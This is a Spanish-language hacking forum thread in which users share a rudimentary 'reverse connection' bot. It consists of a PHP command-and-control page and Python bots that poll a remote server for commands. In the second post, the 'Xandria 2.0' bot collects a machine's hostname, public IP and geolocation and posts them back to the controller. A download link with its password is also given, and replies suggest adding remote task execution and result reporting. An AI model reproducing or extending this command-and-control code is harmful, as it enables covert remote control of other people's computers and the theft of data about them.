Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]

Iniciado por skollprog, 9 Enero 2018, 15:28 PM

0 Miembros y 1 Visitante están viendo este tema.

skollprog

Buenas, gente!

Este es mi primer post en la comunidad, y quería compartir con uds. un bot de conexión inversa, con la peculiaridad de que sólo es necesario tener un servidor web, ya que los comandos a ejecutar se van a pasar vía peticiones POST.

Si ya tienen un servidor web en la nube, mejor. Si no es así, pueden instalar XAMPP o LAMP y abrir el puerto 80 (recomiendo contratar un servidor web).

El archivo PHP que deben subir al servidor, es el siguiente:


Código (php) [Seleccionar]
<?php

$task "task.txt";

if (!file_exists($task))
{
$handle fopen($task"a");
fwrite($handle"");
fclose($handle);
}

if (isset($_POST["send"]))
{
$handle fopen($task"w");
fwrite($handledate("Y-m-d H:i:s") . ";" $_POST["send"]);
fclose($handle);
}

?>


<form method="post" action="#">
<input type="text" name="send" autocomplete="off">
</form>


Una vez subido ese archivo al servidor, pasamos a crear el bot (en Python), el cual se va a conectar a nuestro servidor y va a buscar la tarea a ejecutar, siempre verificando que la fecha y hora de la misma no esté dentro de la lista de tareas ejecutadas.

Código (python) [Seleccionar]
import requests
import time

tasks = []

def getTask():
url = "http://localhost/task.txt"
task = requests.get(url).text.split(";")
if len(task) > 1:
if task[0] in tasks:
return None
else:
tasks.append(task[0])
return task[1]
else:
return None

while True:

task = getTask()
if task != None:
if task == "status":
print("Bot status: Online.\n")

time.sleep(1)


Recuerden que la dirección http://localhost/ se debe reemplazar por la dirección del servidor al que queremos que el bot se conecte.

Para agregar más comandos al bot, simplemente se deben agregar más condiciones if, verificando el contenido string en la variable task.

Espero que les guste.
Adios!

engel lex

Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

skollprog

Cita de: engel lex en  9 Enero 2018, 15:34 PM
Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho


De hecho, tengo un proyecto que estoy armando (Xandria 2.0) siguiendo esta estructura que posteé y los datos que das.

Simplemente no lo subí antes porque me pareció demasiado complejo, y mi idea era sólo aportar una estructura básica para el que quisiera experimentar.

Acá dejo el código de mi proyecto por si a alguien le pica la curiosidad.

https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxY

Clave: skollprog


Código PHP:

Código (php) [Seleccionar]
<?php

if (isset($_POST["xandria"]))
{

if (isset($_POST["query"]))
{

$query $_POST["query"];
$date  date("Y-m-d H:i:s");
$file  fopen("query.txt""w");

fwrite($file$date ", " $query);
fclose($file);

}

if (isset($_POST["logs"]))
{

$logs  $_POST["logs"];
$argv  explode(" "$logs);
$fname "logs.txt";

if (file_exists($fname))
{

$temp file($fname);

if ($argv[0] == "-f" or $argv[0] == "first")
{
for ($i 0$i $argv[1]; $i++)
{
if (isset($temp[$i]))
{
$data explode(","$temp[$i]);
$date '<u class="grey">' trim($data[0]) . "</u>, ";
$name '<span class="blue">' trim($data[1]) . "</span>, ";
$addr '<span class="red">' trim($data[2]) . "</span>, ";
$info trim($data[3]);
echo $date $name $addr $info "<br>";
}
}
}
else if ($argv[0] == "-l" or $argv[0] == "last")
{
for ($i 0$i $argv[1]; $i++)
{
if (isset($temp[$i]))
{
$x count($temp) - $i;
$data explode(","$temp[$x]);
$date '<u class="grey">' trim($data[0]) . "</u>, ";
$name '<span class="blue">' trim($data[1]) . "</span>, ";
$addr '<span class="red">' trim($data[2]) . "</span>, ";
$info trim($data[3]);
echo $date $name $addr $info "<br>";
}
}
}
else if ($argv[0] == "-i" or $argv[0] == "index")
{
if ($argv[1] == "*" or $argv[1] == "all")
{
foreach ($temp as $log)
{
$data explode(","$log);
$date '<u class="grey">' trim($data[0]) . "</u>, ";
$name '<span class="blue">' trim($data[1]) . "</span>, ";
$addr '<span class="red">' trim($data[2]) . "</span>, ";
$info trim($data[3]);
echo $date $name $addr $info "<br>";
}
}
else
{
$i $argv[1] - 1;
if (isset($temp[$i]))
{
$data explode(","$temp[$i]);
$date '<u class="grey">' trim($data[0]) . "</u>, ";
$name '<span class="blue">' trim($data[1]) . "</span>, ";
$addr '<span class="red">' trim($data[2]) . "</span>, ";
$info trim($data[3]);
echo $date $name $addr $info "<br>";
}
else
{
echo "invalid_log";
}
}
}
else
{
echo "invalid_argument";
}

}

}

if (isset($_POST["server"]))
{
$url "http://" $_SERVER["HTTP_HOST"] . "/";
echo $url "<br>";
}

if (isset($_POST["build"]))
{
$file "xandria.py";
echo $file "<br>";
}

if (isset($_POST["report"]))
{
$fname "logs.txt";
$file  fopen($fname"a+");
$host  $_POST["host"];
$ip    $_POST["ip"];
$msg   $_POST["report"];
fwrite($filedate("Y-m-d H:i:s") . ", " $host ", " $ip ", " $msg "\n");
fclose($file);
}

}
else
{

?>


<!DOCTYPE html>
<html>
<head>
<title>Xandria 2.0 - Client</title>
<meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0">
<script type="text/javascript" src="assets/js/jquery.js"></script>
<script type="text/javascript" src="assets/js/terminal.js"></script>
<link rel="stylesheet" type="text/css" href="assets/css/styles.css">
</head>
<body>

<span class="bg-black tag-init">&nbsp;</span> <span class="bg-black">&nbsp; &nbsp; &nbsp;XANDRIA&nbsp;</span> 2.0
<div class="content"></div>
<div class="prompt"><br>
□:// <input type="text" name="prompt">
</div>

</body>
</html>

<?php ?>



Código Python:

Código (python) [Seleccionar]
import time
import socket
import requests
import json

SERVER_URL = "http://localhost/xandria/"

def geolocate():
try:
url  = "http://freegeoip.net/json"
data = requests.get(url)
data = json.loads(data.text)
return data
except: return None

def ip():
data = geolocate()
if data != None:
return data["ip"]
else: return "unknown"

def country():
data = geolocate()
if data != None:
return data["country_name"]
else: return "unknown"

def city():
data = geolocate()
if data != None:
return data["city"]
else: return "unknown"

def timezone():
data = geolocate()
if data != None:
return data["time_zone"]
else: return "unknown"

def geocoords():
data = geolocate()
if data != None:
coords = "Lat:" + str(data["latitude"]) + " Lon:" + str(data["longitude"])
return coords
else: return "unknown"

def hostname():
try:
return socket.gethostname()
except: return "unknown"

def query():
try:
data = requests.get(server + "query.txt").text.split(",")
if data[0] in queries:
return None
else:
queries.append(data[0])
return data[1].strip()
except: return None

def report(message):
try:
requests.post(server, {"xandria":"", "host":host, "ip":address, "report":message})
except: pass

host    = hostname()
address = ip()
server  = SERVER_URL
queries = []

report("Online")

while True:

try:
data = query()
if data != None:
argv = data.split(" ")
if data == "hostname" : report(hostname())
if data == "ip"       : report(ip())
if data == "country"  : report(country())
if data == "city"     : report(city())
if data == "timezone" : report(timezone())
if data == "geocoords": report(geocoords())

except:
pass

time.sleep(5)

Flamer

Buen aporte.....

me creerias si te digo que yo ya lo habia pensado.
pero como cliente usaba un vbs para comunicarme con el servidor que contenia el php

saludos Flamer y si no lo publique nunca fue por que crei que lo mirarian muy simple y sencillo